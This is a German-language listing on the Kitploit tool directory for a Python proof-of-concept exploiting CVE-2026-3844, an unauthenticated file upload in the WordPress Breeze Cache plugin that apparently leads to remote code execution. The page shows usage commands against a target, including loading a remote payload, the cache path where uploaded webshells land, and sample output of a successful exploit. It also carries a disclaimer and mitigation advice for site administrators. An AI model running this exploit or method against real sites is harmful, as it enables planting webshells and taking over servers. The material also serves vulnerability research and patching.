Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3844 — Python-Nachweis-of-Concept für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload im WordPress Breeze Cache Plugin, der Remote-Code-Ausführung ermöglicht. Enthält Erkennung, Ausnutzung und Webshell-Verifizierung. | Kitploit
Tools/GitHubGitHub/sahmsec/cve-2026-3844
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubsahmsec/cve-2026-3844

CVE-2026-3844

Python-Nachweis-of-Concept für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload im WordPress Breeze Cache Plugin, der Remote-Code-Ausführung ermöglicht. Enthält Erkennung, Ausnutzung und Webshell-Verifizierung.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-3844 — WordPress Breeze Cache Unauthenticated File Upload

Übersicht

Dieses Repository enthält ein Python-Proof-of-Concept-Skript (PoC) zur Demonstration einer Unauthenticated Arbitrary File Upload-Schwachstelle, die das WordPress Breeze Cache Plugin <= 2.4.4 betrifft.

⚠️ Dieses Projekt ist ausschließlich für autorisierte Sicherheitstests, Bildungsforschung und defensive Validierung gedacht.

Schwachstelleninformationen

  • CVE-ID: CVE-2026-3844
  • Betroffenes Plugin: Breeze Cache für WordPress
  • Betroffene Versionen: <= 2.4.4
  • Problemtyp: Unauthenticated Arbitrary File Upload
  • Auswirkung: Potenzielle Remote Code Execution (RCE)
  • Angriffsvektor: Remote / Unauthenticated

Die Schwachstelle missbraucht die Gravatar-Caching-Funktionalität von Breeze Cache, um vom Angreifer kontrollierte Dateien im WordPress-Cache-Verzeichnis zu speichern.

Funktionen

  • Erkennungsmodus für Schwachstellen
  • Automatisierter Exploit-Workflow
  • Webshell-Verifizierungsunterstützung
  • Farbige Terminalausgabe
  • Remote-Payload-Laden
  • Upload-Verifizierungsprüfungen
  • Optionale Ausgabeprotokollierung

    • Anforderungen

    • Python 3.8+
    • pycurl
    • termcolor

    Abhängigkeiten installieren:

    root@kitploit:~
    pip install pycurl termcolor

    Dateien

    DateiBeschreibung
    CVE-2026-3844.pyHaupt-PoC-Exploit-Skript
    CVE-2026-3844.yamlYAML-Vorlage/Konfiguration

    Verwendung

    Prüfen, ob das Ziel verwundbar erscheint

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com --check-only

    Exploit ausführen

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com

    Benutzerdefinierter Payload

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com -p https://example.com/payload.php

    Ergebnisse speichern

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com -o results.txt

    So funktioniert es

    Das Skript führt die folgenden Schritte aus:

    1. Erkennt die installierte Breeze-Cache-Version
    2. Prüft, ob die Plugin-Version verwundbar ist
    3. Übermittelt eine manipulierte WordPress-Kommentaranfrage
    4. Missbraucht die Gravatar-Verarbeitung des Breeze-Caches
    5. Wartet auf die Cache-Generierung
    6. Verifiziert, ob die hochgeladene Datei zugänglich wird
    7. Testet die Payload-Reaktionsfähigkeit

    Verwundbarer Pfad

    Der hochgeladene Payload kann möglicherweise über folgenden Pfad zugänglich sein:

    root@kitploit:~
    /wp-content/cache/breeze-extra/gravatars/

    Hinweise

    Eine erfolgreiche Ausnutzung kann von der folgenden Breeze-Einstellung abhängen:

    root@kitploit:~
    Host Files Locally - Gravatars

    Wenn die Funktion deaktiviert ist, können Exploit-Versuche fehlschlagen.

    Beispielausgabe

    root@kitploit:~
    [+] Target VULNERABLE (Breeze v2.4.4)
[+] Comment posted successfully
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/random.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

    Haftungsausschluss

    Dieses Repository wird bereitgestellt für:

    • Sicherheitsforschung
    • Bildungszwecke
    • Autorisierte Penetrationstests
    • Defensive Sicherheitsbewertungen

    Verwenden Sie dieses Projekt nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben.

    Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Projekt verursacht werden.

    Empfehlungen zur Schadensbegrenzung

    Website-Administratoren sollten:

    • Breeze Cache auf die neueste gepatchte Version aktualisieren
    • Nicht benötigte Datei-Caching-Funktionen deaktivieren
    • Gefährliche Datei-Uploads einschränken
    • PHP-Ausführung in Cache-Verzeichnissen deaktivieren
    • /wp-content/cache/ auf verdächtige Dateien überwachen
    • Eine Web Application Firewall (WAF) bereitstellen
    • Strikte serverseitige Validierung durchsetzen

    Erklärung zum Bildungszweck

    Dieses Proof-of-Concept wurde erstellt, um:

    • Sicherheitsforschern
    • Penetrationstestern
    • Blue Teams
    • WordPress-Administratoren
    • Entwicklern

    zu helfen, die Sicherheitsrisiken im Zusammenhang mit unsicheren Caching-Mechanismen und beliebigen Datei-Uploads zu verstehen.

    Referenzen

    • CVE-Datenbank
    • WordPress-Sicherheitshinweise
    • OWASP-Richtlinien zur Datei-Upload-Sicherheit
    • Breeze Cache Plugin-Dokumentation

    Autor

    Sicherheitsforschung / Bildungsprojekt

    Tool herunterladen